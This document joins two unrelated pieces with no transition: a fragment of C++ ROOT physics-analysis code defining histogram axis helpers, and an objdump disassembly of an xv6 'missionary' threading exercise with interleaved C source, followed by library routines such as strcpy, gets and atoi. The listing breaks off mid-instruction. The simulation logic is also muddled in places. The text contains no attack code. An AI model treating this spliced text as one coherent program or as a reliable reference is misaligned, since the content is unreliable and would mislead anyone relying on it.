"<<h->GetName()<<endl; exit(1); } return h->Fill( &x.front(), w ); } TAxis AliAnalysisTaskRidge::AxisFix ( TString name, int nbin, Double_t xmin, Double_t xmax ){ TAxis axis(nbin, xmin, xmax);axis.SetName(name); return axis; } TAxis AliAnalysisTaskRidge::AxisStr( TString name, std::vector<TString> bin ){ TAxis ax = AxisFix( name, bin.size(), 0.5, bin.size()+0.5); UInt_t i=1; for( auto blabel : bin ) ax.SetBinLabel( i++, blabel ); return ax; } TAxis AliAnalysisTaskRidge::AxisVar( TString name, std::vector<Double_t> bin ){ TAxis axis( bin.size()-1, &bin.front() ) ;axis.SetName(name); return axis; } TAxis AliAnalysisTaskRidge::AxisLog ( TString name, int nbin, Double_t xmin, Double_t xmax, Double_t xmin0){ int binoffset = ( xmin0<0 || (xmin-xmin0)<1e-9) ? 0 : 1; std::vector<Double_t> bin(nbin+1+binoffset,0); double logBW3 = (log(xmax)-log(xmin))/nbin; for(int ij=0;ij<=nbin;ij++) bin[ij+binoffset]=xmin*exp(ij*logBW3); TAxis axis( nbin, &bin.front() ) ; axis.SetName(name); return axis; }
_missionary: file format elf32-i386 Disassembly of section .text: 00001000 <main>: struct{ lock_t lock; }mutex; int numBoat = 0; int main() { 1000: 55 push %ebp 1001: 89 e5 mov %esp,%ebp 1003: 83 e4 f0 and $0xfffffff0,%esp 1006: 83 ec 20 sub $0x20,%esp lock_acquire(&mutex.lock); 1009: c7 04 24 08 22 00 00 movl $0x2208,(%esp) 1010: e8 d7 0c 00 00 call 1cec <lock_acquire> printf(1,"Created 1 missionary, and 2 Cannibal. There should be no boat rides since we can't have 2 cannibals with 1 missioanry. \n"); 1015: c7 44 24 04 14 20 00 movl $0x2014,0x4(%esp) 101c: 00 101d: c7 04 24 01 00 00 00 movl $0x1,(%esp) 1024: e8 d4 08 00 00 call 18fd <printf> lock_release(&mutex.lock); 1029: c7 04 24 08 22 00 00 movl $0x2208,(%esp) 1030: e8 d6 0c 00 00 call 1d0b <lock_release> //sem_init(&M, 0); //sem_init(&C, 0); void *mid = thread_create(MissionaryArrives,(void *)0); 1035: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 103c: 00 103d: c7 04 24 af 10 00 00 movl $0x10af,(%esp) 1044: e8 dd 0c 00 00 call 1d26 <thread_create> 1049: 89 44 24 14 mov %eax,0x14(%esp) if(mid == 0) exit(); 104d: 83 7c 24 14 00 cmpl $0x0,0x14(%esp) 1052: 75 05 jne 1059 <main+0x59> 1054: e8 03 07 00 00 call 175c <exit> void *cid = thread_create(CannibalArrives,(void *)0); 1059: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 1060: 00 1061: c7 04 24 c0 12 00 00 movl $0x12c0,(%esp) 1068: e8 b9 0c 00 00 call 1d26 <thread_create> 106d: 89 44 24 18 mov %eax,0x18(%esp) if(cid == 0) exit(); 1071: 83 7c 24 18 00 cmpl $0x0,0x18(%esp) 1076: 75 05 jne 107d <main+0x7d> 1078: e8 df 06 00 00 call 175c <exit> void *cid2 = thread_create(CannibalArrives,(void *)0); 107d: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 1084: 00 1085: c7 04 24 c0 12 00 00 movl $0x12c0,(%esp) 108c: e8 95 0c 00 00 call 1d26 <thread_create> 1091: 89 44 24 1c mov %eax,0x1c(%esp) if(cid2 == 0) exit(); 1095: 83 7c 24 1c 00 cmpl $0x0,0x1c(%esp) 109a: 75 05 jne 10a1 <main+0xa1> 109c: e8 bb 06 00 00 call 175c <exit> while(wait() > 0); 10a1: e8 be 06 00 00 call 1764 <wait> 10a6: 85 c0 test %eax,%eax 10a8: 7f f7 jg 10a1 <main+0xa1> exit(); 10aa: e8 ad 06 00 00 call 175c <exit> 000010af <MissionaryArrives>: return 0; } void MissionaryArrives(void *arg) { 10af: 55 push %ebp 10b0: 89 e5 mov %esp,%ebp 10b2: 83 ec 18 sub $0x18,%esp lock_acquire(&mutex.lock); 10b5: c7 04 24 08 22 00 00 movl $0x2208,(%esp) 10bc: e8 2b 0c 00 00 call 1cec <lock_acquire> if(numMissionaries == 2) 10c1: a1 f0 21 00 00 mov 0x21f0,%eax 10c6: 83 f8 02 cmp $0x2,%eax 10c9: 0f 85 c8 00 00 00 jne 1197 <MissionaryArrives+0xe8> { //lock_acquire(&mutex.lock); numMissionaries++; //for num of miss in boat. 10cf: a1 f0 21 00 00 mov 0x21f0,%eax 10d4: 83 c0 01 add $0x1,%eax 10d7: a3 f0 21 00 00 mov %eax,0x21f0 printf(1,"Number of missionaries arrived: %d.\n",numMissionaries); 10dc: a1 f0 21 00 00 mov 0x21f0,%eax 10e1: 89 44 24 08 mov %eax,0x8(%esp) 10e5: c7 44 24 04 90 20 00 movl $0x2090,0x4(%esp) 10ec: 00 10ed: c7 04 24 01 00 00 00 movl $0x1,(%esp) 10f4: e8 04 08 00 00 call 18fd <printf> //sem_signal(&M); //sem_signal(&M); printf(1,"Number of missionaries on boat: %d.\n",numMissionaries); 10f9: a1 f0 21 00 00 mov 0x21f0,%eax 10fe: 89 44 24 08 mov %eax,0x8(%esp) 1102: c7 44 24 04 b8 20 00 movl $0x20b8,0x4(%esp) 1109: 00 110a: c7 04 24 01 00 00 00 movl $0x1,(%esp) 1111: e8 e7 07 00 00 call 18fd <printf> printf(1,"Number of cannibals on boat: %d.\n",0); 1116: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp) 111d: 00 111e: c7 44 24 04 e0 20 00 movl $0x20e0,0x4(%esp) 1125: 00 1126: c7 04 24 01 00 00 00 movl $0x1,(%esp) 112d: e8 cb 07 00 00 call 18fd <printf> //lock_release(&mutex.lock); RowBoat(); 1132: e8 8c 03 00 00 call 14c3 <RowBoat> //lock_acquire(&mutex.lock); numMissionaries = numMissionaries - 3; 1137: a1 f0 21 00 00 mov 0x21f0,%eax 113c: 83 e8 03 sub $0x3,%eax 113f: a3 f0 21 00 00 mov %eax,0x21f0 printf(1,"Number of missionaries waiting: %d.\n",numMissionaries); 1144: a1 f0 21 00 00 mov 0x21f0,%eax 1149: 89 44 24 08 mov %eax,0x8(%esp) 114d: c7 44 24 04 04 21 00 movl $0x2104,0x4(%esp) 1154: 00 1155: c7 04 24 01 00 00 00 movl $0x1,(%esp) 115c: e8 9c 07 00 00 call 18fd <printf> printf(1,"Number of cannibals waiting: %d.\n",numCannibals); 1161: a1 f4 21 00 00 mov 0x21f4,%eax 1166: 89 44 24 08 mov %eax,0x8(%esp) 116a: c7 44 24 04 2c 21 00 movl $0x212c,0x4(%esp) 1171: 00 1172: c7 04 24 01 00 00 00 movl $0x1,(%esp) 1179: e8 7f 07 00 00 call 18fd <printf> printf(1,"==============================\n"); 117e: c7 44 24 04 50 21 00 movl $0x2150,0x4(%esp) 1185: 00 1186: c7 04 24 01 00 00 00 movl $0x1,(%esp) 118d: e8 6b 07 00 00 call 18fd <printf> 1192: e9 18 01 00 00 jmp 12af <MissionaryArrives+0x200> //lock_release(&mutex.lock); //texit(); } else if (numMissionaries == 1 && numCannibals == 1) { 1197: a1 f0 21 00 00 mov 0x21f0,%eax 119c: 83 f8 01 cmp $0x1,%eax 119f: 0f 85 e0 00 00 00 jne 1285 <MissionaryArrives+0x1d6> 11a5: a1 f4 21 00 00 mov 0x21f4,%eax 11aa: 83 f8 01 cmp $0x1,%eax 11ad: 0f 85 d2 00 00 00 jne 1285 <MissionaryArrives+0x1d6> //lock_acquire(&mutex.lock); numMissionaries++; //for num of miss in boat. 11b3: a1 f0 21 00 00 mov 0x21f0,%eax 11b8: 83 c0 01 add $0x1,%eax 11bb: a3 f0 21 00 00 mov %eax,0x21f0 printf(1,"Number of missionaries arrived: %d.\n",numMissionaries); 11c0: a1 f0 21 00 00 mov 0x21f0,%eax 11c5: 89 44 24 08 mov %eax,0x8(%esp) 11c9: c7 44 24 04 90 20 00 movl $0x2090,0x4(%esp) 11d0: 00 11d1: c7 04 24 01 00 00 00 movl $0x1,(%esp) 11d8: e8 20 07 00 00 call 18fd <printf> //sem_signal(&M); //sem_signal(&C); printf(1,"Number of missionaries on boat: %d.\n",numMissionaries); 11dd: a1 f0 21 00 00 mov 0x21f0,%eax 11e2: 89 44 24 08 mov %eax,0x8(%esp) 11e6: c7 44 24 04 b8 20 00 movl $0x20b8,0x4(%esp) 11ed: 00 11ee: c7 04 24 01 00 00 00 movl $0x1,(%esp) 11f5: e8 03 07 00 00 call 18fd <printf> printf(1,"Number of cannibals on boat: %d.\n",1); 11fa: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 1201: 00 1202: c7 44 24 04 e0 20 00 movl $0x20e0,0x4(%esp) 1209: 00 120a: c7 04 24 01 00 00 00 movl $0x1,(%esp) 1211: e8 e7 06 00 00 call 18fd <printf> //lock_release(&mutex.lock); RowBoat(); 1216: e8 a8 02 00 00 call 14c3 <RowBoat> //lock_acquire(&mutex.lock); numMissionaries = numMissionaries - 2; 121b: a1 f0 21 00 00 mov 0x21f0,%eax 1220: 83 e8 02 sub $0x2,%eax 1223: a3 f0 21 00 00 mov %eax,0x21f0 numCannibals--; 1228: a1 f4 21 00 00 mov 0x21f4,%eax 122d: 83 e8 01 sub $0x1,%eax 1230: a3 f4 21 00 00 mov %eax,0x21f4 printf(1,"Number of missionaries waiting: %d.\n",numMissionaries); 1235: a1 f0 21 00 00 mov 0x21f0,%eax 123a: 89 44 24 08 mov %eax,0x8(%esp) 123e: c7 44 24 04 04 21 00 movl $0x2104,0x4(%esp) 1245: 00 1246: c7 04 24 01 00 00 00 movl $0x1,(%esp) 124d: e8 ab 06 00 00 call 18fd <printf> printf(1,"Number of cannibals waiting: %d.\n",numCannibals); 1252: a1 f4 21 00 00 mov 0x21f4,%eax 1257: 89 44 24 08 mov %eax,0x8(%esp) 125b: c7 44 24 04 2c 21 00 movl $0x212c,0x4(%esp) 1262: 00 1263: c7 04 24 01 00 00 00 movl $0x1,(%esp) 126a: e8 8e 06 00 00 call 18fd <printf> printf(1,"==============================\n"); 126f: c7 44 24 04 50 21 00 movl $0x2150,0x4(%esp) 1276: 00 1277: c7 04 24 01 00 00 00 movl $0x1,(%esp) 127e: e8 7a 06 00 00 call 18fd <printf> printf(1,"Number of cannibals waiting: %d.\n",numCannibals); printf(1,"==============================\n"); //lock_release(&mutex.lock); //texit(); } else if (numMissionaries == 1 && numCannibals == 1) { 1283: eb 2a jmp 12af <MissionaryArrives+0x200> //texit(); } else { //lock_acquire(&mutex.lock); numMissionaries++; 1285: a1 f0 21 00 00 mov 0x21f0,%eax 128a: 83 c0 01 add $0x1,%eax 128d: a3 f0 21 00 00 mov %eax,0x21f0 printf(1,"Number of missionaries arrived: %d.\n",numMissionaries); 1292: a1 f0 21 00 00 mov 0x21f0,%eax 1297: 89 44 24 08 mov %eax,0x8(%esp) 129b: c7 44 24 04 90 20 00 movl $0x2090,0x4(%esp) 12a2: 00 12a3: c7 04 24 01 00 00 00 movl $0x1,(%esp) 12aa: e8 4e 06 00 00 call 18fd <printf> //lock_release(&mutex.lock); //texit(); } lock_release(&mutex.lock); 12af: c7 04 24 08 22 00 00 movl $0x2208,(%esp) 12b6: e8 50 0a 00 00 call 1d0b <lock_release> texit(); 12bb: e8 44 05 00 00 call 1804 <texit> 000012c0 <CannibalArrives>: } void CannibalArrives(void *arg) { 12c0: 55 push %ebp 12c1: 89 e5 mov %esp,%ebp 12c3: 83 ec 18 sub $0x18,%esp lock_acquire(&mutex.lock); 12c6: c7 04 24 08 22 00 00 movl $0x2208,(%esp) 12cd: e8 1a 0a 00 00 call 1cec <lock_acquire> if(numCannibals == 2) 12d2: a1 f4 21 00 00 mov 0x21f4,%eax 12d7: 83 f8 02 cmp $0x2,%eax 12da: 0f 85 c8 00 00 00 jne 13a8 <CannibalArrives+0xe8> { //lock_acquire(&mutex.lock); numCannibals++; //for num of can in boat. 12e0: a1 f4 21 00 00 mov 0x21f4,%eax 12e5: 83 c0 01 add $0x1,%eax 12e8: a3 f4 21 00 00 mov %eax,0x21f4 printf(1,"Number of cannibals arrived: %d.\n",numCannibals); 12ed: a1 f4 21 00 00 mov 0x21f4,%eax 12f2: 89 44 24 08 mov %eax,0x8(%esp) 12f6: c7 44 24 04 70 21 00 movl $0x2170,0x4(%esp) 12fd: 00 12fe: c7 04 24 01 00 00 00 movl $0x1,(%esp) 1305: e8 f3 05 00 00 call 18fd <printf> printf(1, "Number of cannibals on boat: %d.\n",numCannibals); 130a: a1 f4 21 00 00 mov 0x21f4,%eax 130f: 89 44 24 08 mov %eax,0x8(%esp) 1313: c7 44 24 04 e0 20 00 movl $0x20e0,0x4(%esp) 131a: 00 131b: c7 04 24 01 00 00 00 movl $0x1,(%esp) 1322: e8 d6 05 00 00 call 18fd <printf> printf(1, "Number of missionaries on boat: %d.\n",0); 1327: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp) 132e: 00 132f: c7 44 24 04 b8 20 00 movl $0x20b8,0x4(%esp) 1336: 00 1337: c7 04 24 01 00 00 00 movl $0x1,(%esp) 133e: e8 ba 05 00 00 call 18fd <printf> //lock_release(&mutex.lock); //sem_signal(&C); //sem_signal(&C); RowBoat(); 1343: e8 7b 01 00 00 call 14c3 <RowBoat> //lock_acquire(&mutex.lock); numCannibals = numCannibals -3; 1348: a1 f4 21 00 00 mov 0x21f4,%eax 134d: 83 e8 03 sub $0x3,%eax 1350: a3 f4 21 00 00 mov %eax,0x21f4 printf(1,"Number of missionaries waiting: %d.\n",numMissionaries); 1355: a1 f0 21 00 00 mov 0x21f0,%eax 135a: 89 44 24 08 mov %eax,0x8(%esp) 135e: c7 44 24 04 04 21 00 movl $0x2104,0x4(%esp) 1365: 00 1366: c7 04 24 01 00 00 00 movl $0x1,(%esp) 136d: e8 8b 05 00 00 call 18fd <printf> printf(1,"Number of cannibals waiting: %d.\n",numCannibals); 1372: a1 f4 21 00 00 mov 0x21f4,%eax 1377: 89 44 24 08 mov %eax,0x8(%esp) 137b: c7 44 24 04 2c 21 00 movl $0x212c,0x4(%esp) 1382: 00 1383: c7 04 24 01 00 00 00 movl $0x1,(%esp) 138a: e8 6e 05 00 00 call 18fd <printf> printf(1,"==============================\n"); 138f: c7 44 24 04 50 21 00 movl $0x2150,0x4(%esp) 1396: 00 1397: c7 04 24 01 00 00 00 movl $0x1,(%esp) 139e: e8 5a 05 00 00 call 18fd <printf> 13a3: e9 0a 01 00 00 jmp 14b2 <CannibalArrives+0x1f2> //lock_release(&mutex.lock); //texit(); } else if(numMissionaries == 2) { 13a8: a1 f0 21 00 00 mov 0x21f0,%eax 13ad: 83 f8 02 cmp $0x2,%eax 13b0: 0f 85 d2 00 00 00 jne 1488 <CannibalArrives+0x1c8> //lock_acquire(&mutex.lock); numCannibals++; //for num of can in boat. 13b6: a1 f4 21 00 00 mov 0x21f4,%eax 13bb: 83 c0 01 add $0x1,%eax 13be: a3 f4 21 00 00 mov %eax,0x21f4 printf(1,"Number of cannibals arrived: %d.\n",numCannibals); 13c3: a1 f4 21 00 00 mov 0x21f4,%eax 13c8: 89 44 24 08 mov %eax,0x8(%esp) 13cc: c7 44 24 04 70 21 00 movl $0x2170,0x4(%esp) 13d3: 00 13d4: c7 04 24 01 00 00 00 movl $0x1,(%esp) 13db: e8 1d 05 00 00 call 18fd <printf> printf(1, "Number of cannibals on boat: %d.\n",numCannibals); 13e0: a1 f4 21 00 00 mov 0x21f4,%eax 13e5: 89 44 24 08 mov %eax,0x8(%esp) 13e9: c7 44 24 04 e0 20 00 movl $0x20e0,0x4(%esp) 13f0: 00 13f1: c7 04 24 01 00 00 00 movl $0x1,(%esp) 13f8: e8 00 05 00 00 call 18fd <printf> printf(1, "Number of missionaries on boat: %d.\n",2); 13fd: c7 44 24 08 02 00 00 movl $0x2,0x8(%esp) 1404: 00 1405: c7 44 24 04 b8 20 00 movl $0x20b8,0x4(%esp) 140c: 00 140d: c7 04 24 01 00 00 00 movl $0x1,(%esp) 1414: e8 e4 04 00 00 call 18fd <printf> //lock_release(&mutex.lock); //sem_signal(&M); //sem_signal(&M); RowBoat(); 1419: e8 a5 00 00 00 call 14c3 <RowBoat> //lock_acquire(&mutex.lock); numCannibals--; 141e: a1 f4 21 00 00 mov 0x21f4,%eax 1423: 83 e8 01 sub $0x1,%eax 1426: a3 f4 21 00 00 mov %eax,0x21f4 numMissionaries = numMissionaries -2; 142b: a1 f0 21 00 00 mov 0x21f0,%eax 1430: 83 e8 02 sub $0x2,%eax 1433: a3 f0 21 00 00 mov %eax,0x21f0 printf(1,"Number of missionaries waiting: %d.\n",numMissionaries); 1438: a1 f0 21 00 00 mov 0x21f0,%eax 143d: 89 44 24 08 mov %eax,0x8(%esp) 1441: c7 44 24 04 04 21 00 movl $0x2104,0x4(%esp) 1448: 00 1449: c7 04 24 01 00 00 00 movl $0x1,(%esp) 1450: e8 a8 04 00 00 call 18fd <printf> printf(1,"Number of cannibals waiting: %d.\n",numCannibals); 1455: a1 f4 21 00 00 mov 0x21f4,%eax 145a: 89 44 24 08 mov %eax,0x8(%esp) 145e: c7 44 24 04 2c 21 00 movl $0x212c,0x4(%esp) 1465: 00 1466: c7 04 24 01 00 00 00 movl $0x1,(%esp) 146d: e8 8b 04 00 00 call 18fd <printf> printf(1,"==============================\n"); 1472: c7 44 24 04 50 21 00 movl $0x2150,0x4(%esp) 1479: 00 147a: c7 04 24 01 00 00 00 movl $0x1,(%esp) 1481: e8 77 04 00 00 call 18fd <printf> 1486: eb 2a jmp 14b2 <CannibalArrives+0x1f2> //lock_release(&mutex.lock); //texit(); } else { //lock_acquire(&mutex.lock); numCannibals++; 1488: a1 f4 21 00 00 mov 0x21f4,%eax 148d: 83 c0 01 add $0x1,%eax 1490: a3 f4 21 00 00 mov %eax,0x21f4 printf(1, "Number of cannibals arrived: %d.\n",numCannibals); 1495: a1 f4 21 00 00 mov 0x21f4,%eax 149a: 89 44 24 08 mov %eax,0x8(%esp) 149e: c7 44 24 04 70 21 00 movl $0x2170,0x4(%esp) 14a5: 00 14a6: c7 04 24 01 00 00 00 movl $0x1,(%esp) 14ad: e8 4b 04 00 00 call 18fd <printf> //lock_release(&mutex.lock); //texit(); } lock_release(&mutex.lock); 14b2: c7 04 24 08 22 00 00 movl $0x2208,(%esp) 14b9: e8 4d 08 00 00 call 1d0b <lock_release> texit(); 14be: e8 41 03 00 00 call 1804 <texit> 000014c3 <RowBoat>: } void RowBoat() { 14c3: 55 push %ebp 14c4: 89 e5 mov %esp,%ebp 14c6: 83 ec 18 sub $0x18,%esp //lock_acquire(&mutex.lock); //printf(1,"Number of cannibals in boat: %d.\n",numCannibals); //printf(1,"Number of missionaries in boat: %d.\n",numMissionaries); numBoat++; 14c9: a1 f8 21 00 00 mov 0x21f8,%eax 14ce: 83 c0 01 add $0x1,%eax 14d1: a3 f8 21 00 00 mov %eax,0x21f8 printf(1,"Rowing boat: %d.\n",numBoat); 14d6: a1 f8 21 00 00 mov 0x21f8,%eax 14db: 89 44 24 08 mov %eax,0x8(%esp) 14df: c7 44 24 04 92 21 00 movl $0x2192,0x4(%esp) 14e6: 00 14e7: c7 04 24 01 00 00 00 movl $0x1,(%esp) 14ee: e8 0a 04 00 00 call 18fd <printf> //lock_release(&mutex.lock); } 14f3: c9 leave 14f4: c3 ret 14f5: 90 nop 14f6: 90 nop 14f7: 90 nop 000014f8 <stosb>: "cc"); } static inline void stosb(void *addr, int data, int cnt) { 14f8: 55 push %ebp 14f9: 89 e5 mov %esp,%ebp 14fb: 57 push %edi 14fc: 53 push %ebx asm volatile("cld; rep stosb" : 14fd: 8b 4d 08 mov 0x8(%ebp),%ecx 1500: 8b 55 10 mov 0x10(%ebp),%edx 1503: 8b 45 0c mov 0xc(%ebp),%eax 1506: 89 cb mov %ecx,%ebx 1508: 89 df mov %ebx,%edi 150a: 89 d1 mov %edx,%ecx 150c: fc cld 150d: f3 aa rep stos %al,%es:(%edi) 150f: 89 ca mov %ecx,%edx 1511: 89 fb mov %edi,%ebx 1513: 89 5d 08 mov %ebx,0x8(%ebp) 1516: 89 55 10 mov %edx,0x10(%ebp) "=D" (addr), "=c" (cnt) : "0" (addr), "1" (cnt), "a" (data) : "memory", "cc"); } 1519: 5b pop %ebx 151a: 5f pop %edi 151b: 5d pop %ebp 151c: c3 ret 0000151d <strcpy>: #include "user.h" #include "x86.h" char* strcpy(char *s, char *t) { 151d: 55 push %ebp 151e: 89 e5 mov %esp,%ebp 1520: 83 ec 10 sub $0x10,%esp char *os; os = s; 1523: 8b 45 08 mov 0x8(%ebp),%eax 1526: 89 45 fc mov %eax,-0x4(%ebp) while((*s++ = *t++) != 0) 1529: 8b 45 0c mov 0xc(%ebp),%eax 152c: 0f b6 10 movzbl (%eax),%edx 152f: 8b 45 08 mov 0x8(%ebp),%eax 1532: 88 10 mov %dl,(%eax) 1534: 8b 45 08 mov 0x8(%ebp),%eax 1537: 0f b6 00 movzbl (%eax),%eax 153a: 84 c0 test %al,%al 153c: 0f 95 c0 setne %al 153f: 83 45 08 01 addl $0x1,0x8(%ebp) 1543: 83 45 0c 01 addl $0x1,0xc(%ebp) 1547: 84 c0 test %al,%al 1549: 75 de jne 1529 <strcpy+0xc> ; return os; 154b: 8b 45 fc mov -0x4(%ebp),%eax } 154e: c9 leave 154f: c3 ret 00001550 <strcmp>: int strcmp(const char *p, const char *q) { 1550: 55 push %ebp 1551: 89 e5 mov %esp,%ebp while(*p && *p == *q) 1553: eb 08 jmp 155d <strcmp+0xd> p++, q++; 1555: 83 45 08 01 addl $0x1,0x8(%ebp) 1559: 83 45 0c 01 addl $0x1,0xc(%ebp) } int strcmp(const char *p, const char *q) { while(*p && *p == *q) 155d: 8b 45 08 mov 0x8(%ebp),%eax 1560: 0f b6 00 movzbl (%eax),%eax 1563: 84 c0 test %al,%al 1565: 74 10 je 1577 <strcmp+0x27> 1567: 8b 45 08 mov 0x8(%ebp),%eax 156a: 0f b6 10 movzbl (%eax),%edx 156d: 8b 45 0c mov 0xc(%ebp),%eax 1570: 0f b6 00 movzbl (%eax),%eax 1573: 38 c2 cmp %al,%dl 1575: 74 de je 1555 <strcmp+0x5> p++, q++; return (uchar)*p - (uchar)*q; 1577: 8b 45 08 mov 0x8(%ebp),%eax 157a: 0f b6 00 movzbl (%eax),%eax 157d: 0f b6 d0 movzbl %al,%edx 1580: 8b 45 0c mov 0xc(%ebp),%eax 1583: 0f b6 00 movzbl (%eax),%eax 1586: 0f b6 c0 movzbl %al,%eax 1589: 89 d1 mov %edx,%ecx 158b: 29 c1 sub %eax,%ecx 158d: 89 c8 mov %ecx,%eax } 158f: 5d pop %ebp 1590: c3 ret 00001591 <strlen>: uint strlen(char *s) { 1591: 55 push %ebp 1592: 89 e5 mov %esp,%ebp 1594: 83 ec 10 sub $0x10,%esp int n; for(n = 0; s[n]; n++) 1597: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp) 159e: eb 04 jmp 15a4 <strlen+0x13> 15a0: 83 45 fc 01 addl $0x1,-0x4(%ebp) 15a4: 8b 45 fc mov -0x4(%ebp),%eax 15a7: 03 45 08 add 0x8(%ebp),%eax 15aa: 0f b6 00 movzbl (%eax),%eax 15ad: 84 c0 test %al,%al 15af: 75 ef jne 15a0 <strlen+0xf> ; return n; 15b1: 8b 45 fc mov -0x4(%ebp),%eax } 15b4: c9 leave 15b5: c3 ret 000015b6 <memset>: void* memset(void *dst, int c, uint n) { 15b6: 55 push %ebp 15b7: 89 e5 mov %esp,%ebp 15b9: 83 ec 0c sub $0xc,%esp stosb(dst, c, n); 15bc: 8b 45 10 mov 0x10(%ebp),%eax 15bf: 89 44 24 08 mov %eax,0x8(%esp) 15c3: 8b 45 0c mov 0xc(%ebp),%eax 15c6: 89 44 24 04 mov %eax,0x4(%esp) 15ca: 8b 45 08 mov 0x8(%ebp),%eax 15cd: 89 04 24 mov %eax,(%esp) 15d0: e8 23 ff ff ff call 14f8 <stosb> return dst; 15d5: 8b 45 08 mov 0x8(%ebp),%eax } 15d8: c9 leave 15d9: c3 ret 000015da <strchr>: char* strchr(const char *s, char c) { 15da: 55 push %ebp 15db: 89 e5 mov %esp,%ebp 15dd: 83 ec 04 sub $0x4,%esp 15e0: 8b 45 0c mov 0xc(%ebp),%eax 15e3: 88 45 fc mov %al,-0x4(%ebp) for(; *s; s++) 15e6: eb 14 jmp 15fc <strchr+0x22> if(*s == c) 15e8: 8b 45 08 mov 0x8(%ebp),%eax 15eb: 0f b6 00 movzbl (%eax),%eax 15ee: 3a 45 fc cmp -0x4(%ebp),%al 15f1: 75 05 jne 15f8 <strchr+0x1e> return (char*)s; 15f3: 8b 45 08 mov 0x8(%ebp),%eax 15f6: eb 13 jmp 160b <strchr+0x31> } char* strchr(const char *s, char c) { for(; *s; s++) 15f8: 83 45 08 01 addl $0x1,0x8(%ebp) 15fc: 8b 45 08 mov 0x8(%ebp),%eax 15ff: 0f b6 00 movzbl (%eax),%eax 1602: 84 c0 test %al,%al 1604: 75 e2 jne 15e8 <strchr+0xe> if(*s == c) return (char*)s; return 0; 1606: b8 00 00 00 00 mov $0x0,%eax } 160b: c9 leave 160c: c3 ret 0000160d <gets>: char* gets(char *buf, int max) { 160d: 55 push %ebp 160e: 89 e5 mov %esp,%ebp 1610: 83 ec 28 sub $0x28,%esp int i, cc; char c; for(i=0; i+1 < max; ){ 1613: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp) 161a: eb 44 jmp 1660 <gets+0x53> cc = read(0, &c, 1); 161c: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 1623: 00 1624: 8d 45 ef lea -0x11(%ebp),%eax 1627: 89 44 24 04 mov %eax,0x4(%esp) 162b: c7 04 24 00 00 00 00 movl $0x0,(%esp) 1632: e8 3d 01 00 00 call 1774 <read> 1637: 89 45 f4 mov %eax,-0xc(%ebp) if(cc < 1) 163a: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 163e: 7e 2d jle 166d <gets+0x60> break; buf[i++] = c; 1640: 8b 45 f0 mov -0x10(%ebp),%eax 1643: 03 45 08 add 0x8(%ebp),%eax 1646: 0f b6 55 ef movzbl -0x11(%ebp),%edx 164a: 88 10 mov %dl,(%eax) 164c: 83 45 f0 01 addl $0x1,-0x10(%ebp) if(c == '\n' || c == '\r') 1650: 0f b6 45 ef movzbl -0x11(%ebp),%eax 1654: 3c 0a cmp $0xa,%al 1656: 74 16 je 166e <gets+0x61> 1658: 0f b6 45 ef movzbl -0x11(%ebp),%eax 165c: 3c 0d cmp $0xd,%al 165e: 74 0e je 166e <gets+0x61> gets(char *buf, int max) { int i, cc; char c; for(i=0; i+1 < max; ){ 1660: 8b 45 f0 mov -0x10(%ebp),%eax 1663: 83 c0 01 add $0x1,%eax 1666: 3b 45 0c cmp 0xc(%ebp),%eax 1669: 7c b1 jl 161c <gets+0xf> 166b: eb 01 jmp 166e <gets+0x61> cc = read(0, &c, 1); if(cc < 1) break; 166d: 90 nop buf[i++] = c; if(c == '\n' || c == '\r') break; } buf[i] = '\0'; 166e: 8b 45 f0 mov -0x10(%ebp),%eax 1671: 03 45 08 add 0x8(%ebp),%eax 1674: c6 00 00 movb $0x0,(%eax) return buf; 1677: 8b 45 08 mov 0x8(%ebp),%eax } 167a: c9 leave 167b: c3 ret 0000167c <stat>: int stat(char *n, struct stat *st) { 167c: 55 push %ebp 167d: 89 e5 mov %esp,%ebp 167f: 83 ec 28 sub $0x28,%esp int fd; int r; fd = open(n, O_RDONLY); 1682: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 1689: 00 168a: 8b 45 08 mov 0x8(%ebp),%eax 168d: 89 04 24 mov %eax,(%esp) 1690: e8 07 01 00 00 call 179c <open> 1695: 89 45 f0 mov %eax,-0x10(%ebp) if(fd < 0) 1698: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 169c: 79 07 jns 16a5 <stat+0x29> return -1; 169e: b8 ff ff ff ff mov $0xffffffff,%eax 16a3: eb 23 jmp 16c8 <stat+0x4c> r = fstat(fd, st); 16a5: 8b 45 0c mov 0xc(%ebp),%eax 16a8: 89 44 24 04 mov %eax,0x4(%esp) 16ac: 8b 45 f0 mov -0x10(%ebp),%eax 16af: 89 04 24 mov %eax,(%esp) 16b2: e8 fd 00 00 00 call 17b4 <fstat> 16b7: 89 45 f4 mov %eax,-0xc(%ebp) close(fd); 16ba: 8b 45 f0 mov -0x10(%ebp),%eax 16bd: 89 04 24 mov %eax,(%esp) 16c0: e8 bf 00 00 00 call 1784 <close> return r; 16c5: 8b 45 f4 mov -0xc(%ebp),%eax } 16c8: c9 leave 16c9: c3 ret 000016ca <atoi>: int atoi(const char *s) { 16ca: 55 push %ebp 16cb: 89 e5 mov %esp,%ebp 16cd: 83 ec 10 sub $0x10,%esp int n; n = 0; 16d0: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp) while('0' <= *s && *s <= '9') 16d7: eb 24 jmp 16fd <atoi+0x33> n = n*10 + *s++ - '0'; 16d9: 8b 55 fc mov -0x4(%ebp),%edx 16dc: 89 d0 mov %edx,%eax 16de: c1 e0 02 shl $0x2,%eax 16e1: 01 d0 add %edx,%eax 16e3: 01 c0 add %eax,%eax 16e5: 89 c2 mov %eax,%edx 16e7: 8b 45 08 mov 0x8(%ebp),%eax 16ea: 0f b6 00 movzbl (%eax),%eax 16ed: 0f be c0 movsbl %al,%eax 16f0: 8d 04 02 lea (%edx,%eax,1),%eax 16f3: 83 e8 30 sub $0x30,%eax 16f6: 89 45 fc mov %eax,-0x4(%ebp) 16f9: 83 45 08 01 addl $0x1,0x8(%ebp) atoi(const char *s) { int n; n = 0; while('0' <= *s && *s <= '9') 16fd: 8b 45 08 mov 0x8(%ebp),%eax 1700: 0f b6 00 movzbl (%eax),%eax 1703: 